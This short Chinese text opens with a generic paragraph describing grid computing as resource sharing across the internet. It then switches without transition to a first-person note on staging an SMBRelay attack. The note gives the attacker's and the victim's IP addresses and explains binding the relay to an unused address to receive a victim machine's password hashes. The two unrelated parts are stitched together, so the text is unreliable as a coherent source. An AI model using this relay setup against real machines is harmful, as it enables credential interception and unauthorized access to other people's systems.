网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。
说明::这次攻击过程只需要2台机器,3个IP地址
关于协议与IP问题的说明:
我的IP是218.197.248.212,可是SMBRELAY无法运行在这个IP上,而且我只有把自己机器上“打印机与文件共享”服务
删除后才能接受目标机器传来的HASH,218.197.248.154是一个不存在的IP地址,所以我把SMBRELAY绑在218.197.248.154上,测试的时候,实际上是
212(我自己)-----154(绑SMBRELAY的机器)----249(受害机器)
